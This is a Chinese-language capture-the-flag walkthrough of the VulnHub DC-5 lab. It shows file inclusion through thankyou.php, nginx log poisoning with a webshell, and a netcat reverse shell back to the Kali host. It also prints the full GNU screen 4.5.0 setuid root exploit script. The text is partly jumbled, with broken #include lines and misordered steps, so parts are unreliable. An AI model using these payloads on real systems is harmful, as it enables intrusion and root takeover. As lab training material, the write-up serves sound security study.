攻击机(Kali): 192.168.238.130
靶机(DC-5): 192.168.138
靶机地址: DC: 5 ~ VulnHub
0x01 信息收集 一、IP扫描二、端口扫描┌──(root㉿kali)-[~]
└─# arp-scan -l
三、网站目录扫描┌──(root㉿kali)-[~]
└─# nmap -T4 -sV -O -A 192.168.238.138
四、查看网站结构┌──(root㉿kali)-[~]
└─# dirb http://192.168.238.138无敏感目录
无cms
五、网页信息获取
0x02 一、文件包含http://192.168.238.138/thankyou.php?firstname=&lastname=&country=australia&subject=
在Contact栏中有个好像是文件包含漏洞,下面的年份会随之发生变化,多刷新几次,发现也会改变,应该是刚才那个页面thankyou.php包含了footer.php
但是Nginx文件后面可以用文件包含
/var/log/nginx/access.log 日志文件
/var/log/nginx/error.log 错误文件
/etc/passwd
二、上传一句话 2.1 抓包http://192.168.238.138/thankyou.php?file=/etc/passwd
尝试访问passwd文件,确定是文件包含漏洞
2.2 蚁剑连接http://192.168.238.138/thankyou.php?file=/var/log/nginx/access.log
#访问网站,抓包发送到重放器,添加一句话木马
0x03 交互式shell 一、监听端口http://192.168.238.138/thankyou.php?file=/var/log/nginx/access.log
二、反弹shell┌──(root㉿kali)-[~]
└─# nc -lvp 1234
0x04 提权 一、find查找漏洞(www-data:/var/www/html) $ nc 192.168.238.130 1234 -e /bin/bash
用蚁剑打开虚拟终端,连接kaili
┌──(root㉿kali)-[~]
└─# nc -lvp 1234
listening on [any] 1234 ...
192.168.238.138: inverse host lookup failed: Unknown host
connect to [192.168.238.130] from (UNKNOWN) [192.168.238.138] 56051
python -c "import pty;pty.spawn('/bin/bash')" #交互式shell
www-data@dc-5:~/html$
www-data@dc-5:~/html$ find / -user root -perm -4000 -print 2>/dev/null
找到正在系统上运行的所有SUID可执行文件
二、Screen本地提权 2.1 搜索攻击方式关注一下screen-4.5.0,GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换,该版本存在本地提权漏洞。
┌──(root㉿kali)-[~]
└─# searchsploit screen 4.5.0┌──(root㉿kali)-[~/桌面/靶机/dc-5]
└─# cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh┌──(root㉿kali)-[~/桌面/靶机/dc-5]
└─# cat 41154.sh
┌──(root㉿kali)-[~] └─# cat 41154.sh #!/bin/bash # screenroot.sh # setuid screen v4.5.0 local root exploit # abuses ld.so.preload overwriting to get root. # bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html # HACK THE PLANET # ~ infodox (25/1/2017) echo "~ gnu/screenroot ~" echo "[+] First, we create our shell and library..." cat << EOF > /tmp/libhax.c #include2.2 制作木马#include #include __attribute__ ((__constructor__)) void dropshell(void){ chown("/tmp/rootshell", 0, 0); chmod("/tmp/rootshell", 04755); unlink("/etc/ld.so.preload"); printf("[+] done!n"); } EOF gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c rm -f /tmp/libhax.c cat << EOF > /tmp/rootshell.c #include int main(void){ setuid(0); setgid(0); seteuid(0); setegid(0); execvp("/bin/sh", NULL, NULL); } EOF gcc -o /tmp/rootshell /tmp/rootshell.c rm -f /tmp/rootshell.c echo "[+] Now we create our /etc/ld.so.preload file..." cd /etc umask 000 # because screen -D -m -L ld.so.preload echo -ne "x0a/tmp/libhax.so" # newline needed echo "[+] Triggering..." screen -ls # screen itself is setuid, so... /tmp/rootshell ┌──(root㉿kali)-[~] └─#
┌──(root㉿kali)-[~/桌面/靶机/dc-5]
└─# vim libhax.c #根据提示生成libhax.c木马┌──(root㉿kali)-[~/桌面/靶机/dc-5]
└─# gcc -fPIC -shared -ldl -o libhax.so libhax.c # 编译
┌──(root㉿kali)-[~/桌面/靶机/dc-5]
└─# vim rootshell.c┌──(root㉿kali)-[~/桌面/靶机/dc-5]
└─# gcc -o rootshell rootshell.c #编译
三、上传木马┌──(root㉿kali)-[~/桌面/靶机/dc-5]
└─# vim dc5.sh #将剩余部分写入到dc5.sh,并最后输入 :set ff=unix保存
四、执行木马www-data@dc-5:/var$ ls -l
查看文件夹权限,只有tmp可以任意读写,将木马上传到tmp文件夹下
赋予dc5.sh执行权限并运行



